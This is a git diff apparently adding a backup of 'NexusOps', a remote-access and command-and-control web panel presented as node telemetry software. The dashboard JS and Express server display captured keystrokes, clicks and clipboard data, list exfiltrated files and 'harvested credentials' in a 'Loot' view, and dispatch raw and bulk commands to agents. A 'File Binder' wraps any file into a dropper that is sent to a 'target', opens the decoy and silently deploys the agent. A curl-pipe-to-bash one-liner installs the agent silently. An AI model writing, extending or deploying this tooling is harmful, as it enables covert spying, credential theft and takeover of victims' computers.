+ `; + }).join(''); + container.scrollTop = container.scrollHeight; +} + +function initChart() { + const ctx = document.getElementById('telemetryChart').getContext('2d'); + telemetryChart = new Chart(ctx, { + type: 'line', + data: { + labels: [], + datasets: [ + { + label: 'Avg CPU Load (%)', + borderColor: '#06b6d4', + backgroundColor: 'rgba(6, 182, 212, 0.1)', + fill: true, + data: [], + tension: 0.4 + }, + { + label: 'Avg RAM Load (%)', + borderColor: '#8b5cf6', + backgroundColor: 'rgba(139, 92, 246, 0.1)', + fill: true, + data: [], + tension: 0.4 + } + ] + }, + options: { + responsive: true, + maintainAspectRatio: false, + scales: { + x: { + grid: { color: 'rgba(255, 255, 255, 0.05)' }, + ticks: { color: '#9ca3af' } + }, + y: { + min: 0, + max: 100, + grid: { color: 'rgba(255, 255, 255, 0.05)' }, + ticks: { color: '#9ca3af' } + } + }, + plugins: { + legend: { labels: { color: '#f3f4f6' } } + } + } + }); +} + +function updateChartData() { + if (!telemetryChart) return; + const timeStr = new Date().toLocaleTimeString(); + + const onlineNodes = nodesData.filter(n => n.status === 'online'); + const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0; + const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0; + + telemetryChart.data.labels.push(timeStr); + telemetryChart.data.datasets[0].data.push(Math.round(avgCpu)); + telemetryChart.data.datasets[1].data.push(Math.round(avgMem)); + + if (telemetryChart.data.labels.length > 15) { + telemetryChart.data.labels.shift(); + telemetryChart.data.datasets[0].data.shift(); + telemetryChart.data.datasets[1].data.shift(); + } + telemetryChart.update(); +} + +function getOsIcon(platform) { + const p = (platform || '').toLowerCase(); + if (p.includes('win')) return 'fa-brands fa-windows'; + if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple'; + return 'fa-brands fa-linux'; +} + +function escapeHtml(str) { + return (str || '').replace(/&/g, "&").replace(//g, ">"); +} + +function formatTime(timestamp) { + if (!timestamp) return 'Never'; + const diff = Math.floor((Date.now() - timestamp) / 1000); + if (diff < 5) return 'Just now'; + if (diff < 60) return `${diff}s ago`; + return `${Math.floor(diff / 60)}m ago`; +} + +function setFilter(filter, el) { + currentFilter = filter; + document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active')); + el.classList.add('active'); + renderNodesGrid(); +} + +function filterNodes() { + renderNodesGrid(); +} + +function switchView(view, el) { + currentView = view; + document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active')); + el.classList.add('active'); + renderNodesGrid(); +} + +function openInstallerModal() { + updateServerEndpoint(); + document.getElementById('installerModal').classList.add('active'); +} + +function closeInstallerModal() { + document.getElementById('installerModal').classList.remove('active'); +} + +function switchTab(tabName, evt) { + document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active')); + document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active')); + + (evt || event).currentTarget.classList.add('active'); + document.getElementById(`tab-${tabName}`).classList.add('active'); +} + +function switchControlTab(tabName, btnEl) { + document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active')); + document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none'); + + btnEl.classList.add('active'); + document.getElementById(`ctrl-${tabName}`).style.display = 'block'; +} + +function copyCode(elementId, btn) { + const text = document.getElementById(elementId).innerText; + navigator.clipboard.writeText(text).then(() => { + const original = btn.innerHTML; + btn.innerHTML = ` Copied!`; + btn.style.background = 'var(--accent-emerald)'; + setTimeout(() => { + btn.innerHTML = original; + btn.style.background = ''; + }, 2000); + }); +} + +function openCommandModal(nodeId, hostname) { + document.getElementById('cmdModalNodeId').value = nodeId; + document.getElementById('cmdModalHostname').textContent = hostname; + document.getElementById('cmdInput').value = ''; + document.getElementById('commandModal').classList.add('active'); +} + +function closeCommandModal() { + document.getElementById('commandModal').classList.remove('active'); +} + +function setQuickCmd(cmd) { + document.getElementById('cmdInput').value = cmd; +} + +function submitNodeAction(actionType, extraPayload = {}) { + const nodeId = document.getElementById('cmdModalNodeId').value; + let payload = { ...extraPayload }; + + if (actionType === 'raw_command') { + const command = document.getElementById('cmdInput').value.trim(); + if (!command) return; + payload.command = command; + } + + fetch(`/api/nodes/${nodeId}/command`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ actionType, payload, command: payload.command }) + }) + .then(res => res.json()) + .then(data => { + if (data.success) { + closeCommandModal(); + } + }); +} + +function submitServiceAction(action) { + const service = document.getElementById('serviceNameInput').value.trim(); + if (!service) return alert("Please enter a service name (e.g. nginx)"); + submitNodeAction('manage_service', { service, action }); +} + +function submitKillProcess() { + const pid = document.getElementById('killPidInput').value; + if (!pid) return alert("Please enter a valid PID"); + submitNodeAction('kill_process', { pid }); +} + +function openBulkModal() { + document.getElementById('bulkModal').classList.add('active'); +} + +function closeBulkModal() { + document.getElementById('bulkModal').classList.remove('active'); +} + +function submitBulkCommand() { + const command = document.getElementById('bulkCmdInput').value.trim(); + if (!command) return; + + fetch('/api/nodes/bulk-command', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } }) + }) + .then(res => res.json()) + .then(data => { + if (data.success) { + closeBulkModal(); + alert(`Task broadcasted to ${data.count} online network nodes!`); + } else { + alert(data.error || "Failed to dispatch bulk command"); + } + }); +} + +function submitTagUpdate() { + const tags = document.getElementById('tagInput').value.trim(); + if (!tags) return alert("Please enter at least one tag"); + submitNodeAction('update_tags', { tags }); +} + +function submitHeartbeatRate() { + const interval = document.getElementById('heartbeatInput').value; + if (!interval) return alert("Please enter a valid interval in seconds"); + submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) }); +} + +function submitSystemReboot() { + if (confirm("⚠️ Are you sure you want to reboot this target machine?")) { + submitNodeAction('reboot_system'); + } +} + +function deleteNode(nodeId) { + if (confirm("Are you sure you want to unregister this node?")) { + fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' }); + } +} + +// ── Master Intelligence Log Rendering ── + +function renderIntelLog() { + const container = document.getElementById('intelLogContent'); + if (!container) return; + + const nodeFilter = document.getElementById('intelNodeFilter'); + const typeFilter = document.getElementById('intelTypeFilter'); + const searchInput = document.getElementById('intelSearchInput'); + + // Populate node filter dropdown dynamically + if (nodeFilter) { + const currentVal = nodeFilter.value; + nodeFilter.innerHTML = ''; + nodesData.forEach(n => { + const sel = n.id === currentVal ? ' selected' : ''; + nodeFilter.innerHTML += ``; + }); + } + + const selNodeId = nodeFilter ? nodeFilter.value : 'all'; + const selType = typeFilter ? typeFilter.value : 'all'; + const query = searchInput ? searchInput.value.toLowerCase().trim() : ''; + + // Show machine details when a specific node is selected + renderMachineDetails(selNodeId); + + // Filter input data + let filtered = inputData; + if (selNodeId !== 'all') { + filtered = filtered.filter(e => e.nodeId === selNodeId); + } + if (selType !== 'all') { + filtered = filtered.filter(e => e.eventType === selType); + } + if (query) { + filtered = filtered.filter(e => { + const dataStr = JSON.stringify(e.data || '').toLowerCase(); + return dataStr.includes(query) || + (e.windowTitle || '').toLowerCase().includes(query) || + (e.hostname || '').toLowerCase().includes(query); + }); + } + + const countEl = document.getElementById('intelCount'); + if (countEl) countEl.textContent = `${filtered.length} events`; + + if (filtered.length === 0) { + container.innerHTML = '
[INTEL] No captured input events. Waiting for agent keystroke/click data...
'; + return; + } + + container.innerHTML = filtered.map(ev => { + const timeStr = new Date(ev.timestamp).toLocaleTimeString(); + const hostStr = escapeHtml(ev.hostname || 'Unknown'); + let icon, cssClass, detailStr; + + switch (ev.eventType) { + case 'keystroke': + icon = ''; + cssClass = 'log-entry intel-keystroke'; + detailStr = `Key: ${escapeHtml((ev.data && ev.data.key) || '?')}`; + break; + case 'click': + icon = ''; + cssClass = 'log-entry intel-click'; + detailStr = `Button: ${escapeHtml((ev.data && ev.data.button) || '?')} @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`; + break; + case 'scroll': + icon = ''; + cssClass = 'log-entry intel-scroll'; + detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`; + break; + default: + icon = ''; + cssClass = 'log-entry'; + detailStr = escapeHtml(JSON.stringify(ev.data || {})); + } + + const winStr = ev.windowTitle ? ` [${escapeHtml(ev.windowTitle)}]` : ''; + + return `
+ [${timeStr}] + ${icon} + ${hostStr} + ${detailStr}${winStr} +
`; + }).join(''); + container.scrollTop = container.scrollHeight; +} + +function renderMachineDetails(nodeId) { + const bar = document.getElementById('machineDetailsBar'); + if (!bar) return; + + if (nodeId === 'all') { + const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))]; + if (machinesWithInput.length === 0) { + bar.innerHTML = ' Select a specific machine to see its full details here. Input data from agents will appear below.'; + } else { + bar.innerHTML = ` ${machinesWithInput.length} machine(s) reporting input data. Select one above for details.`; + } + return; + } + + const node = nodesData.find(n => n.id === nodeId); + if (!node) { + bar.innerHTML = 'Machine details unavailable.'; + return; + } + + const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)'; + const osIcon = getOsIcon(node.platform); + + bar.innerHTML = ` +
${escapeHtml(node.hostname)}
+
${escapeHtml(node.ip)}
+
${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})
+
CPU: ${node.cpuUsage}%
+
MEM: ${node.memUsage}%
+
DISK: ${node.diskUsage}%
+
${formatUptime(node.uptime)}
+
${node.status.toUpperCase()}
+ `; +} + +function formatUptime(seconds) { + if (!seconds || seconds <= 0) return 'N/A'; + const d = Math.floor(seconds / 86400); + const h = Math.floor((seconds % 86400) / 3600); + const m = Math.floor((seconds % 3600) / 60); + if (d > 0) return `${d}d ${h}h`; + if (h > 0) return `${h}h ${m}m`; + return `${m}m`; +} + +// ── File Binder ── + +let binderFile = null; + +function openBinderModal() { + updateServerEndpoint(); + document.getElementById('binderModal').classList.add('active'); + resetBinder(); +} + +function closeBinderModal() { + document.getElementById('binderModal').classList.remove('active'); + resetBinder(); +} + +function resetBinder() { + binderFile = null; + document.getElementById('binderFileInput').value = ''; + document.getElementById('binderFileName').innerHTML = 'Click or drag any file here'; + document.getElementById('binderDropzone').classList.remove('has-file'); + document.getElementById('binderSubmitBtn').disabled = true; + document.getElementById('binderStatus').style.display = 'none'; +} + +function handleBinderFile(input) { + if (input.files && input.files[0]) { + binderFile = input.files[0]; + document.getElementById('binderFileName').innerHTML = `${escapeHtml(binderFile.name)} (${(binderFile.size / 1024).toFixed(1)} KB)`; + document.getElementById('binderDropzone').classList.add('has-file'); + document.getElementById('binderSubmitBtn').disabled = false; + } +} + +async function submitBinder() { + if (!binderFile) return; + + const btn = document.getElementById('binderSubmitBtn'); + const status = document.getElementById('binderStatus'); + btn.disabled = true; + btn.innerHTML = ' Binding...'; + status.style.display = 'block'; + status.className = ''; + status.textContent = 'Processing file...'; + + const formData = new FormData(); + formData.append('file', binderFile); + + try { + const format = document.getElementById("binderFormat").value; + const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData }); + if (!resp.ok) { + const err = await resp.json().catch(() => ({ error: 'Server error' })); + throw new Error(err.error || `HTTP ${resp.status}`); + } + + const blob = await resp.blob(); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = binderFile.name + '.sh'; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + URL.revokeObjectURL(url); + + status.className = 'success'; + status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`; + } catch (e) { + status.className = 'error'; + status.textContent = `❌ ${e.message}`; + } + + btn.disabled = false; + btn.innerHTML = ' Bind & Download'; +} + +// ── Kill Switch ── +function killSwitch() { + if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return; + fetch('/api/nodes/killswitch', { method: 'POST' }) + .then(r => r.json()) + .then(d => { + if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`); + else alert(d.error || 'No nodes to kill.'); + }); +} + +// ── Ping Node ── +function pingNode(nodeId, hostname) { + fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' }) + .then(r => r.json()) + .then(d => { + if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`); + }); +} + +// ── New Node Sound & Notification ── +let knownNodeIds = new Set(); +function checkForNewNodes() { + nodesData.forEach(node => { + if (!knownNodeIds.has(node.id) && node.status === 'online') { + knownNodeIds.add(node.id); + // Browser notification + if (Notification.permission === 'granted') { + new Notification('🖥️ New Agent Connected', { + body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`, + icon: '/favicon.ico' + }); + } + // Audio ping + try { + const ctx = new (window.AudioContext || window.webkitAudioContext)(); + const osc = ctx.createOscillator(); + const gain = ctx.createGain(); + osc.connect(gain); gain.connect(ctx.destination); + osc.frequency.setValueAtTime(880, ctx.currentTime); + osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1); + gain.gain.setValueAtTime(0.3, ctx.currentTime); + gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3); + osc.start(ctx.currentTime); + osc.stop(ctx.currentTime + 0.3); + } catch(e) {} + } + }); + // Also mark offline nodes + nodesData.forEach(node => knownNodeIds.add(node.id)); +} + +// Request notification permission on first interaction +document.addEventListener('click', () => { + if (Notification.permission === 'default') Notification.requestPermission(); +}, { once: true }); + + +// ── Loot viewer ── +let lootFiles = []; +let lootCreds = []; +let lootObjectUrls = {}; +let _lootSeenFiles = new Set(); +let _lootSeenCreds = new Set(); +let _lootFirstPoll = true; + +function switchLootTab(tab) { + document.getElementById('lootTabFiles').classList.toggle('active', tab === 'files'); + document.getElementById('lootTabCreds').classList.toggle('active', tab === 'creds'); + document.getElementById('lootFilesPanel').style.display = tab === 'files' ? '' : 'none'; + document.getElementById('lootCredsPanel').style.display = tab === 'creds' ? '' : 'none'; +} + +function humanSize(b) { + if (!b && b !== 0) return '?'; + if (b < 1024) return b + ' B'; + if (b < 1048576) return (b/1024).toFixed(1) + ' KB'; + return (b/1048576).toFixed(1) + ' MB'; +} + +function relTime(ts) { + const s = Math.floor((Date.now() - ts) / 1000); + if (s < 60) return s + 's ago'; + if (s < 3600) return Math.floor(s/60) + 'm ago'; + if (s < 86400) return Math.floor(s/3600) + 'h ago'; + return Math.floor(s/86400) + 'd ago'; +} + +async function pollLoot() { + try { + const [fr, cr] = await Promise.all([ + fetch('/api/files').then(r => r.ok ? r.json() : []), + fetch('/api/credentials').then(r => r.ok ? r.json() : []) + ]); + // Toasts on new arrivals (skip first poll) + if (!_lootFirstPoll) { + fr.forEach(f => { if (!_lootSeenFiles.has(f.id)) { _lootSeenFiles.add(f.id); toast('New file: ' + f.filename + ' from ' + (f.hostname || f.nodeId), 'success'); } }); + cr.forEach(c => { const k = c.nodeId + c.type + c.timestamp; if (!_lootSeenCreds.has(k)) { _lootSeenCreds.add(k); toast('Creds harvested: ' + c.type + ' on ' + (c.hostname || c.nodeId), 'success'); } }); + } else { + fr.forEach(f => _lootSeenFiles.add(f.id)); + cr.forEach(c => _lootSeenCreds.add(c.nodeId + c.type + c.timestamp)); + _lootFirstPoll = false; + } + lootFiles = fr; + lootCreds = cr; + renderLoot(); + } catch(e) { /* offline tolerance */ } +} + +function renderLoot() { + document.getElementById('lootFilesCount').textContent = lootFiles.length; + document.getElementById('lootCredsCount').textContent = lootCreds.length; + + // Files + const fp = document.getElementById('lootFilesPanel'); + if (!lootFiles.length) { + fp.innerHTML = '
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
'; + } else { + fp.innerHTML = '' + + lootFiles.slice().reverse().map(f => { + const isImg = (f.mime || '').startsWith('image/'); + const thumbId = 'thumb-' + f.id; + if (isImg && !lootObjectUrls[f.id]) { + fetch('/api/files/' + f.id).then(r => r.blob()).then(b => { + lootObjectUrls[f.id] = URL.createObjectURL(b); + const el = document.getElementById(thumbId); + if (el) el.src = lootObjectUrls[f.id]; + }).catch(() => {}); + } + return '' + + '' + + '' + + '' + + '' + + '' + + '' + + ''; + }).join('') + '
FileNodeSizeWhen
' + (isImg + ? 'img' + : '') + '' + escapeHtml(f.filename) + '
' + escapeHtml(f.mime || '') + '
' + escapeHtml(f.hostname || f.nodeId || '?') + '' + humanSize(f.size) + '' + relTime(f.timestamp) + '
'; + } + + // Credentials + const cp = document.getElementById('lootCredsPanel'); + if (!lootCreds.length) { + cp.innerHTML = '
[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.
'; + } else { + const groups = {}; + lootCreds.forEach((c, i) => { + const key = (c.hostname || c.nodeId || 'unknown'); + groups[key] = groups[key] || []; + groups[key].push(Object.assign({ _idx: i }, c)); + }); + cp.innerHTML = Object.entries(groups).map(([host, items]) => + '
' + escapeHtml(host) + ' ' + items.length + '
' + + items.map(c => { + const raw = typeof c.data === 'string' ? c.data : JSON.stringify(c.data); + const cid = 'cred-' + c._idx; + return '
' + + '' + escapeHtml(c.type || 'unknown') + '' + + '••••••••••' + + '' + relTime(c.timestamp) + '' + + '' + + '' + + '
'; + }).join('') + '
' + ).join(''); + } +} + +function toggleCredReveal(cid, btn) { + const el = document.getElementById(cid); + if (el.dataset.masked === '1') { + el.textContent = btn.dataset.raw; + el.dataset.masked = '0'; + btn.innerHTML = ''; + } else { + el.textContent = '••••••••••'; + el.dataset.masked = '1'; + btn.innerHTML = ''; + } +} + +function lootCopy(btn) { + navigator.clipboard.writeText(btn.dataset.raw).then(() => toast('Copied to clipboard', 'success')); +} + +function openLootLightbox(id) { + const lb = document.getElementById('lootLightbox'); + const img = document.getElementById('lootLightboxImg'); + if (lootObjectUrls[id]) { img.src = lootObjectUrls[id]; lb.style.display = 'flex'; } +} +function closeLootLightbox() { + document.getElementById('lootLightbox').style.display = 'none'; +} + +function lootDownload(id, filename) { + fetch('/api/files/' + id).then(r => r.blob()).then(b => { + const url = URL.createObjectURL(b); + const a = document.createElement('a'); + a.href = url; + a.download = filename; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + setTimeout(() => URL.revokeObjectURL(url), 60000); + }).catch(() => toast('Download failed', 'error')); +} + +// ── Empty state hero ── +function renderEmptyHero() { + const endpoint = publicUrl || window.location.origin; + const cmd = `curl -sSL ${endpoint}/install | bash`; + return '
' + + '' + + '

No Nodes Deployed Yet

' + + '

Run this one-liner on any target machine — auto-detects OS, installs silently, reports back in seconds.

' + + '
' + escapeHtml(cmd) + '' + + '
' + + '
' + + '

or click Deploy Agent above for platform-specific installers

' + + '
'; +} + +// ── Boot ── +let _booted = false; +function bootApp() { + if (_booted) return; + _booted = true; + initWebSocket(); + pollLoot(); + setInterval(pollLoot, 15000); +} + +document.addEventListener('DOMContentLoaded', async () => { + const open = await probeAuth(); + if (open) bootApp(); + document.getElementById('authTokenSubmit').addEventListener('click', submitAuthToken); + document.getElementById('authTokenInput').addEventListener('keydown', e => { if (e.key === 'Enter') submitAuthToken(); }); +}); diff --git a/backups/20260923/index.html b/backups/20260923/index.html new file mode 100644 index 0000000..05ba944 --- /dev/null +++ b/backups/20260923/index.html @@ -0,0 +1,544 @@ + + + + + + NexusOps — Central Network Node Operations + + + + + + + + + + + + + +
+
+
+ +
+
+

NexusOps

+ Node Control & Telemetry Operations +
+
+ + + +
+ + Nodes CSV + + + Inputs CSV + + + + + +
+
+ + +
+ + +
+
+
+
+ Total Nodes +

0

+
+
+ +
+
+
+ Online Nodes +

0

+
+
+ +
+
+
+ Offline / Stale +

0

+
+
+ +
+
+
+ Avg Network CPU +

0%

+
+
+
+ + +
+ + +
+ + + +
+ +
+ + +
+
+ + +
+
+ +

Waiting for Agents to Connect...

+

No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.

+ +
+
+ + +
+
+

Real-time Aggregate System Telemetry

+ Live Stream +
+
+ +
+
+ + +
+
+

Task & Control Execution Log

+ 0 events +
+
+
+
[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...
+
+
+
+ + +
+
+

Master Centralized System & Audit Log Stream

+
+ + 0 entries +
+
+
+
+
[SYSTEM] Central log stream active. Listening for node syslog and audit events...
+
+
+
+ + +
+
+

Master Intelligence Log — Input Capture & Machine Telemetry

+
+ + + + 0 events +
+
+ +
+ Select a machine above to view its details here... +
+
+
+
[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...
+
+
+
+ + +
+
+

Loot — Exfiltrated Files & Harvested Credentials

+
+ + +
+
+
+
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
+
+ +
+ +
+ + + + + + + + + + + + + +
☕ Support This Project — Buy Me a Coffee
+ + + +
+ + + + + + + + diff --git a/backups/20260923/server.js b/backups/20260923/server.js new file mode 100644 index 0000000..7af4da6 --- /dev/null +++ b/backups/20260923/server.js @@ -0,0 +1,963 @@ +const express = require('express'); +const http = require('http'); +const WebSocket = require('ws'); +const path = require('path'); +const cors = require('cors'); +const os = require('os'); +const multer = require('multer'); +const fs = require('fs'); + +const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } }); + +const app = express(); +const server = http.createServer(app); +const wss = new WebSocket.Server({ server }); + +const PORT = process.env.PORT || 3000; +const PUBLIC_URL = process.env.PUBLIC_URL || null; +const DATA_DIR = path.join(__dirname, 'data'); + +// Ensure data directory exists +if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true }); + +app.use(cors()); +app.use(express.json({ limit: '50mb' })); +app.use(express.static(path.join(__dirname, 'public'))); + +// ── Auth ── +const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null; +if (!AUTH_TOKEN) { + console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!'); +} +const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/']; +function authMiddleware(req, res, next) { + if (!AUTH_TOKEN) return next(); + if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next(); + const h = req.headers.authorization || ''; + if (h === 'Bearer ' + AUTH_TOKEN) return next(); + if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' }); + return res.status(401).json({ error: 'unauthorized' }); +} +app.use(authMiddleware); +app.get('/api/auth/check', (req, res) => { + if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false }); + res.json({ ok: true, authRequired: true }); +}); + + + +function getLocalIp() { + const interfaces = os.networkInterfaces(); + for (const name of Object.keys(interfaces)) { + for (const net of interfaces[name]) { + if (net.family === 'IPv4' && !net.internal) { + return net.address; + } + } + } + return 'localhost'; +} + +const SERVER_IP = getLocalIp(); + +const nodes = new Map(); +const commandQueues = new Map(); +const commandHistory = []; +const masterSystemLogs = []; +const inputDataStore = []; +const MAX_INPUT_STORE = 500; +const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp } +const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp } + +// ── Persistence ── +let _saveLock = false; +function _atomicWrite(file, data) { + const tmp = file + '.tmp'; + fs.writeFileSync(tmp, data); + fs.renameSync(tmp, file); +} +function saveData() { + if (_saveLock) return; + _saveLock = true; + try { + _atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries()))); + _atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200))); + _atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200))); + _atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300))); + _atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200))); + } catch(e) { /* silent */ } finally { + _saveLock = false; + } +} + +function loadData() { + try { + const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]'); + nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); }); + commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]'))); + masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]'))); + inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]'))); + harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]'))); + } catch(e) { /* first run */ } +} +loadData(); + +// Auto-save every 30 seconds +setInterval(saveData, 30000); + +setInterval(() => { + const now = Date.now(); + let changed = false; + nodes.forEach((node, id) => { + if (node.status === 'online' && now - node.lastHeartbeat > 20000) { + node.status = 'offline'; + changed = true; + } + }); + if (changed) { + broadcastState(); + } +}, 5000); + +let _lastSaveTime = 0; +function broadcastState() { + const now = Date.now(); + if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); } + const payload = JSON.stringify({ + type: 'NODES_UPDATE', + serverIp: SERVER_IP, + port: PORT, + publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, + nodes: Array.from(nodes.values()), + commandHistory: commandHistory.slice(-50), + masterSystemLogs: masterSystemLogs.slice(-100), + inputData: inputDataStore.slice(-200) + }); + + wss.clients.forEach(client => { + if (client.readyState === WebSocket.OPEN) { + client.send(payload); + } + }); +} + +wss.on('connection', (ws, req) => { + // Auth check on WS upgrade + if (AUTH_TOKEN) { + const url = new URL(req.url, 'http://localhost'); + if (url.searchParams.get('token') !== AUTH_TOKEN) { + ws.close(4401, 'unauthorized'); + return; + } + } + ws.isAlive = true; + ws.on('pong', () => { ws.isAlive = true; }); + ws.send(JSON.stringify({ + type: 'NODES_UPDATE', + serverIp: SERVER_IP, + port: PORT, + publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, + nodes: Array.from(nodes.values()), + commandHistory: commandHistory.slice(-50), + masterSystemLogs: masterSystemLogs.slice(-100), + inputData: inputDataStore.slice(-200) + })); +}); + +// WS heartbeat: ping every 25s, drop dead clients +setInterval(() => { + wss.clients.forEach(ws => { + if (ws.isAlive === false) return ws.terminate(); + ws.isAlive = false; + try { ws.ping(); } catch(e) {} + }); +}, 25000); + +// REST API Endpoints + +app.get('/api/status', (req, res) => { + res.json({ + serverIp: SERVER_IP, + port: PORT, + serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, + totalNodes: nodes.size, + onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length + }); +}); + +app.get('/api/nodes', (req, res) => { + res.json(Array.from(nodes.values())); +}); + +app.get('/api/logs', (req, res) => { + res.json(masterSystemLogs.slice(-100)); +}); + +// CSV Telemetry Export Endpoint +app.get('/api/export/csv', (req, res) => { + let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n"; + nodes.forEach(node => { + const tagsStr = (node.tags || []).join(';'); + csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`; + }); + res.setHeader('Content-Type', 'text/csv'); + res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"'); + res.send(csv); +}); + +// Agent System Log Streaming Endpoint +app.post('/api/agent/logs', (req, res) => { + const { nodeId, hostname, logs } = req.body; + if (Array.isArray(logs)) { + logs.forEach(logLine => { + masterSystemLogs.push({ + id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`, + nodeId, + hostname: hostname || 'Unknown', + timestamp: Date.now(), + entry: logLine + }); + }); + if (masterSystemLogs.length > 200) { + masterSystemLogs.splice(0, masterSystemLogs.length - 200); + } + broadcastState(); + } + res.json({ success: true }); +}); + +// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus +app.post('/api/agent/input-capture', (req, res) => { + const { nodeId, hostname, events } = req.body; + if (!nodeId || !Array.isArray(events)) { + return res.status(400).json({ error: 'nodeId and events[] required' }); + } + + events.forEach(ev => { + inputDataStore.push({ + id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`, + nodeId, + hostname: hostname || 'Unknown', + timestamp: ev.timestamp || Date.now(), + eventType: ev.eventType || 'unknown', + data: ev.data || {}, + windowTitle: ev.windowTitle || '', + processName: ev.processName || '' + }); + }); + + if (inputDataStore.length > MAX_INPUT_STORE) { + inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE); + } + + if (events.length > 0) { + broadcastState(); + } + + res.json({ success: true, stored: events.length }); +}); + +// Retrieve input capture data +app.get('/api/inputs', (req, res) => { + const { nodeId, eventType, limit } = req.query; + let filtered = inputDataStore; + + if (nodeId) { + filtered = filtered.filter(e => e.nodeId === nodeId); + } + if (eventType) { + filtered = filtered.filter(e => e.eventType === eventType); + } + + const max = parseInt(limit) || 200; + res.json(filtered.slice(-max)); +}); + +// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ── +// ── File Binder v2 — self-contained dropper (agent embedded, no curl required) ── +const AGENT_B64 = 